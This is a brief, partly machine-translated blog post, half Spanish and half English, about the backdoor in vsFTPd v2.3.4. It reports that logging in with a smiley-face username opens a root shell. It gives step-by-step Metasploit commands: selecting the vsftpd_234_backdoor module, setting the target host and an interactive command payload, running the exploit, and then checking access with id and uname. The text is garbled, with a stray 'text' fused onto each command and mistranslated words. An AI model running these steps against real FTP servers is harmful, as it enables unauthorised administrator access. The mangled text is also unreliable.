Bueno, ante todo perdon por la inactividad que hemos tenido estos meses pasados.
Hace poco se descubrió una grave vulnerabilidad en el servidor vsFTPd v2.3.4, and on the Blackploit blog they have published a video of their exploitation with metasploit.
The bug found is a backdoor intentionally created by the creator with which the FTP can be accessed with administrator permissions.
The Backdoor consists of accessing the FTP and setting the username 🙂 was achieved full access and execution of commands on the server when returning a shell of the system. It's that simple.
As you can imagine, metasploit is not necessary... but oh well.
Steps:
text
use exploit/unix/ftp/vsftpd_234_backdoortext
set RHOST localhosttext
set PAYLOAD cmd/unix/interacttext
exploittext
idtext
uname -aFountain: blackploit
More information:
Comments